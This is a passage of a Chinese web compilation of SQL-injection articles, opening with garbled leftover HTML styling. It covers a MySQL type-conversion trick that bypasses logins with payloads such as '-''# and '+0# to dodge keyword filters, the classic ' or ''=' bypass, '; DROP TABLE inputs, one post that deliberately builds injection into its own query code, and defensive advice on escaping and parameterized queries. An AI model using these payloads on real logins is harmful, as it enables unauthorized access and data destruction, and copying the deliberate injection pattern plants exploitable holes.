border-style. solid; border-color: rgb(204, 204, 204); vertical-align: baseline; overflow: auto; width: 589px; line-height: 16px; color: rgb(85, 85, 85); font-family: 'Courier New', FixedSys; background-color: rgb(250, 250, 250);“ truncated=”Truncated“ value:=”value:“ valuelt=”value<“ warning=”Warning“ warningslt=”warnings<“>

提示截断了错误的DOUBLE值’admin等等,当在一个字符串类型的列中使用数字类型的值时会产生这类警告,

我们单独执行select ”-”;看下结果。

mysql>select''-'';+-------+|''-''|+-------+|0|+-------+

1rowinset(0.00sec)返回0,也就是说我们查询的每一行的name子段都会和0做对比,这样就会触发一个类型转换,对name字段转换的结果也必然为0:

mysql<” limitlt=“limit<” pre=“pre” spangt=“span><” spangtltspangt-----------------------------------------------------lt=“span>+-----------------------------------------------------+<” spangtltspangt0.00lt=“span>0.00<” spangtltspangt0lt=“span>0<” spangtltspangt1lt=“span>1<” spangtltspangtadmin=“span>admin” spangtltspangtaslt=“span>as<” spangtltspangtcastlt=“span>CAST<” spangtltspangtdecimallt=“span>DECIMAL<” spangtltspangtfromlt=“span>from<” spangtltspangtgtlt=“span>><” spangtltspangtinlt=“span>in<” spangtltspangtlt=“span>(<” spangtltspangtnamelt=“span>name<” spangtltspangtrowlt=“span>row<” spangtltspangtseclt=“span>sec<” spangtltspangtselectlt=“span>select<” spangtltspangtsetlt=“span>set<” spangtltspangtwarninglt=“span>warning<” style=“margin-top: 0px; margin-bottom: 22px; padding: 0px 5px 16px; border-width: 1px 1px 1px 15px; border-style. solid; border-color: rgb(204, 204, 204); vertical-align: baseline; overflow: auto; width: 589px; line-height: 16px; color: rgb(85, 85, 85); font-family: 'Courier New', FixedSys; background-color: rgb(250, 250, 250);”>

因此where语句构成了相等的条件,where 0=”-”,记录被返回。

SQL注入场景: www.sqlzoo/hack/

如果我们想绕过登录验证,上面已经给出了一个传统的tips:用户名密码均为’ or ”=’

这样的逻辑和绕过方式很常见,这里不再具体解释了。

那么通过这次发现的技巧,可以使用一种相当精巧的方式,且避免使用SQL关键字,来绕过登录。

仅仅在name子段输入’-”#,password留空,即可绕过登录验证。

除了”-”,其他运算符”+”,”*”,”^”都会有同样的效果。 再继续进行测试,我们发现只要在闭合单引号的情况系构造查询结果为0的条件即可

mysql>select ''/1; +------+ | ''/1 | +------+ | 0 | +------+ 1 row in set (0.00 sec)

类似的”+0,”-0,”*0,”^0均可。

那么刚才的注入环境我们使用以下的精简payload同样可以绕过登录认证:

‘+0#,’/1#,’^0,’-0#等等。

利用这样一种特性,当目标对注入语句中的SQL关键字进行过滤时,便可通过这样一种方式进行Bypass。

篇6:php 如何做数据库攻击(如:SQL注入)脚本安全

PHP mysql_real_escape_string 函数

PHP MySQL 函数

定义和用法

mysql_real_escape_string() 函数转义 SQL 语句中使用的字符串中的特殊字符,

下列字符受影响:

\x00

\n

\r

\

'

\x1a

如果成功,则该函数返回被转义的字符串。如果失败,则返回 false。

语法

mysql_real_escape_string(string,connection)

参数描述

string必需。规定要转义的字符串。

connection可选。规定 MySQL 连接。如果未规定,则使用上一个连接。

说明

本函数将 string 中的特殊字符转义,并考虑到连接的当前字符集,因此可以安全用于mysql_query() 。

提示和注释

提示:可使用本函数来预防数据库攻击。

例子

例子 1

{ die('Could not connect: ' . mysql_error());

} // 获得用户名和密码的代码 // 转义用户名和密码,以便在 SQL 中使用 $user =mysql_real_escape_string($user); $pwd =mysql_real_escape_string($pwd); $sql = ”SELECT * FROM users WHERE

user='“ . $user . ”' AND password='“ . $pwd . ”'“ // 更多代码 mysql_close($con); ?>

例子 2

数据库攻击。本例演示如果我们不对用户名和密码应用 mysql_real_escape_string() 函数会发生什么:

{ die('Could not connect: ' . mysql_error());

} $sql = ”SELECT * FROM users

WHERE user='{$_POST['user']}'

AND password='{$_POST['pwd']}'“;

mysql_query($sql); // 不检查用户名和密码 // 可以是用户输入的任何内容,比如: $_POST['user'] = 'john'; $_POST['pwd'] = ”' OR ''='“; // 一些代码... mysql_close($con); ?>

那么 SQL 查询会成为这样:

SELECT * FROM users WHERE user='john' AND password='' OR ''=''

这意味着任何用户无需输入合法的密码即可登陆,

例子 3

预防数据库攻击的正确做法:

{ $value =stripslashes($value);

} // 如果不是数字则加引号 if (!is_numeric($value))

{ $value = ”'“ .mysql_real_escape_string($value). ”'“;

} return $value;

} $con = mysql_connect(”localhost“, ”hello“, ”321“); if (!$con)

{ die('Could not connect: ' . mysql_error());

} // 进行安全的 SQL $user = check_input($_POST['user']); $pwd = check_input($_POST['pwd']); $sql = ”SELECT * FROM users WHERE

user=$user AND password=$pwd“;

mysql_query($sql);

mysql_close($con); ?>

?

篇7:把sql注入式攻击放入程序中脚本安全

Sql注入式攻击,在 看来一般是用于攻击别人的网站或者程序,但现在我们可以转换一下思想,利用sql注入式为我们服务,

例如:有一个旧的程序,使用简单三层,这个程序操作的表名是Table1,Table1的字段有:id(int),column1(nvarchar(50)),column2(nvarchar(50)),adddate(smalldatetime).其中adddate字段是后加上的,也就是有的数据元素中adddate字段有值,有的是null,在原程序中没有使用adddate字段的值,现在要求使用adddate以判断不同的年份,并且为空的值划分到老数据中(比如null和/9/26都属于的数据,/1/1的数据属于的数据),不允许更改数据库中的数据。

假设我们在DAL和BLL层中分别写一个可以只传入年份(比如,传入2013,形参名为year)的方法,在Web层中调用,

为了用sql注入式方法的思路写程序,我们不对传入的year做过多的逻辑判断,只是把year放入预写好的sql语句中执行(假设我们的查询sql语句很简单,比如:string sql = ”select * from Table1 where adddate >= ' “+year+” /1/1' and adddate <= ' “+year+” /12/31' “;),那么这种情景下取出来的20的数据是不包含时间为null的数据元素的。此时我们可以利用sql注入的方式,传year的值为“ ' or adddate is null and 1='1';-- ”,执行后查到的数据就是2013年的和为null的数据.

以上只是我想的一个简单的逆向想法:把原本用于黑别人的东西拿来放在程序中使用以达到正确目的。引深一点就是把原本是有害的东西不一定完全就是有害的(那只是放错了地方),在正确的地方使用会达到很好的效果。

本人是新手,高手勿喷。

篇8:如何斩断SQL注入式攻击的疯狂大魔掌?WEB安全

近年来,SQL注入式攻击一直如幽灵般困扰着众多企业,成为令企业毛骨悚然的梦魇,从八月中旬以来,新一轮的大规模SQL注入式攻击袭掠了大量的网站,连苹果公司的网站也未能幸免。这种猖獗的攻击向业界招示其日渐流行的趋势, 们也越来越喜欢这种可以渗透进入企业的基础架构和数据库资源的攻击方式。

关于对付SQL注入攻击的方法已经有许多讨论,但是为什么还是有大量的网站不断地遭受其魔掌呢?安全研究人员认为,现在正是重新梳理最佳方法来对付大规模的SQL注入攻击的时候,从而减轻与注入攻击相关的风险。笔者在此介绍的这些方法未必是革命性的创举,但是又有多少企业真正按照要求全面地实施这些方法呢?

下面,我们将一一谈论这些方法:

使用参数化查询

企业应当制定并强化自行开发软件的安全编码指南,要求开发人员使用参数化查询来构建SQL查询,这样就可以将数据与代码区分开来。

对于多数SQL查询来说,开发人员需要指明某类标准,为此,就需要利用参数化查询,其实就是在运行时可传递的参数。参数化查询就是在SQL语句中有一个或多个嵌入参数的查询。这种将参数嵌入到SQL语句中的方法与动态构造SQL字符串相比,不易产生错误。下面我们看一个在.NET应用程序中使用参数化查询的例子。假设我们想给张三增加工资500元,可参考如下的代码。这些代码范例演示了参数化查询的使用,并展示了如何使用更新语句:

通过利用SQL的更新命令,你可以更新记录。在上面的例子中,我们作了如下操作:创建并打开一个数据库链接;创建一个代表执行更新语句的数据库命令;使用EDBCommand 的ExecuteNonQuery方法执行插入命令。

每一个参数都用一个EDBParameter对象指明。对于需要在SQL语句中指定的每一个参数来说,你需要创建一个EDBParameter对象,然后将值指派给这个对象。然后,将EDBParameter对象添加到EDBCommand命令的参数集中。

对于多数开发平台来说,应当使用参数化的语句而不是将用户输入嵌入到语句中。在许多情况下,SQL语句是固定的,每一个参数都是一个标量,而不是一个表。用户输入会被指派给一个参数。下面再给出一个使用Java和JDBC API的例子:

PreparedStatement prep = conn.prepareStatement(”SELECT * FROM USERS WHERE USERNAME=? AND PASSWORD=?“);

prep.setString(1, username);

prep.setString(2, password);

prep.executeQuery();

笔者用这些例子只是想告诉开发人员,应当确保在查询数据库之前对输入进行净化,

要保障用户输入到网站的内容就是你正要查找的数据类型,所以说,如果你正在寻找一个数字,就要努力保障这种输入一定是一个数字而非字符。

实施过滤和监视工具

在Web应用程序和数据库这个水平上的过滤和监视工具可有助于阻止攻击并检测攻击行为,从而减轻暴露在大规模的SQL注入式攻击中的风险。

在应用程序水平上,企业应当通过实施运行时的安全监视来防御SQL注入攻击和生产系统中的漏洞。同样地,Web应用防火墙也有助于企业部署某些基于行为的规则集,可以在发生损害之前阻止攻击。

在数据库水平上,数据库活动监视还可以从后台过滤攻击。数据库的监视活动是对付SQL注入的一种很强大的工具。对于目前所知道的注入攻击而言,应当部署好过滤器,以便向数据库管理员发出警告:正在发生不太安全的问题;还要有一些一般的过滤器,用以查找SQL注入攻击中的典型伎俩,如破坏SQL代码的不规则的数字引用等。

精心编制错误消息

可以利用你的错误消息,以便于将来对付你。所以开发团队和数据库管理员都需要考虑:在用户输入某些出乎意料的“数据”时,应当返回的错误消息。

企业应当配置Web服务器和数据库服务器,使其不输出错误或警告消息。因为攻击者可以利用“盲目SQL注入”等技术来了解你的数据库设计细节。

及时打补丁并强化数据

由于没有打补丁或者配置错误,而造成与Web应用程序相关联的数据库遭受攻击,那么与SQL注入攻击相关的风险也会因之增加。

很显然,只要有补丁可用,你就需要给数据库打补丁,并且还要给Web应用程序和Web服务打补丁。

此外,别忘了你的数据库是怎样配置的。你需要禁用不必要的服务和功能,目的是为了强化数据库及其赖以运行的操作系统。

限制数据库的特权

最后,企业需要更好地管理与Web应用程序相关的账户与后台数据库交互的方式。许多问题之所以发生,其原因在于数据库管理员全面开放了一些账户,其目的是为了让开发人员更轻松地工作。但是,这些超级用户账户极易遭受攻击,并会极大地增加由SQL注入攻击及其它Web攻击给数据库所造成的风险。

一定要正确地管理所有的账户,使其仅能以最低的特权访问后台的数据库,当然前提是能够完成其工作。你一定要保障这些账户不会拥有对数据库作出更改的权利。

篇9:PHP代码网站防范SQL注入漏洞攻击的建议WEB安全

所有的网站管理员都会关心网站的安全问题,说到安全就不得不说到 SQL 注入 攻击(SQL Injection)。 通过SQL注入攻击可以拿到网站 数据库 的访问权限,之后他们就可以拿到网站数据库中所有的数据,恶意的 可以通过SQL注入功能篡改数据库中的数据甚至会把数据库中的数据毁坏掉。做为网络开发者的你对这种 行为恨之入骨,当然也有必要了解一下SQL注入这种功能方式的原理并学会如何通过代码来保护自己的网站数据库。今天就通过PHP和 MySQL 数据库为例,分享一下我所了解的SQL注入攻击和一些简单的防范措施和一些如何避免SQL注入攻击的建议。

什么是SQL注入(SQL Injection)?

简单来说,SQL注入是使用代码漏洞来获取网站或应用程序后台的SQL数据库中的数据,进而可以取得数据库的访问权限。比如, 可以利用网站代码的漏洞,使用SQL注入的方式取得一个公司网站后台数据库里所有的数据信息。拿到数据库管理员登录用户名和密码后 可以自由修改数据库中的内容甚至删除该数据库。SQL注入也可以用来检验一个网站或应用的安全性。SQL注入的方式有很多种,但本文将只讨论最基本的原理,我们将以PHP和MySQL为例。本文的例子很简单,如果你使用其它语言理解起来也不会有难度,重点关注SQL命令即可。

一个简单的SQL注入攻击案例

假如我们有一个公司网站,在网站的后台数据库中保存了所有的客户数据等重要信息。假如网站登录页面的代码中有这样一条命令来读取用户信息。

$q = ”SELECT `id` FROM `users` WHERE `username`= ' “ .$_GET['username']. ” ' AND `password`= ' “ .$_GET['password']. ” ' “;

?>

现在有一个 想攻击你的数据库,他会尝试在此登录页面的用户名的输入框中输入以下代码:

' ; SHOW TABLES;

点击登陆键,这个页面就会显示出数据库中的所有表。如果他现在使用下面这行命令:

'; DROP TABLE [table name];

这样他就把一张表删除了!

当然,这只是一个很简单的例子,实际的SQL注入方法比这个要复杂得多, 也愿意花大量的时间来不断尝试来攻击你的代码,

有一些程序软件也可以自动地来不断尝试SQL注入

攻击。了解了SQL注入的攻击原理后,我们来看一下如何防范SQL注入攻击。

防范SQL注入 - 使用mysql_real_escape_string()函数

在数据库操作的代码中用这个函数mysql_real_escape_string()可以将代码中特殊字符过滤掉,如引号等。如下例:

$q = ”SELECT `id` FROM `users` WHERE `username`= ' “ .mysql_real_escape_string( $_GET['username'] ). ” ' AND `password`= ' “ .mysql_real_escape_string( $_GET['password'] ). ” ' “;

?>

防范SQL注入 - 使用mysql_query()函数

mysql_query()的特别是它将只执行SQL代码的第一条,而后面的并不会执行。回想在最前面的例子中, 通过代码来例后台执行了多条SQL命令,显示出了所有表的名称。所以mysql_query()函数可以取到进一步保护的作用。我们进一步演化刚才的代码就得到了下面的代码:

//connection

$database = mysql_connect(”localhost“, ”username“,”password“);

//db selection

mysql_select_db(”database“, $database);

$q = mysql_query(”SELECT `id` FROM `users` WHERE `username`= ' “ .mysql_real_escape_string( $_GET['username'] ). ” ' AND `password`= ' “ .mysql_real_escape_string( $_GET['password'] ). ” ' ", $database);

?>

除此之外,我们还可以在PHP代码中判断输入值的长度,或者专门用一个函数来检查输入的值。所以在接受用户输入值的地方一定要做好输入内容的过滤和检查。当然学习 和了解最新的SQL注入方式也非常重要,这样才能做到有目的的防范。如果使用的是平台式的网站系统如Wordpress,要注意及时打上官方的补丁或升级到新的版本。如果有讲得不对的地方或不理解的请在评论区留言。

更多推荐

实施自动SQL注入攻击测试安全设置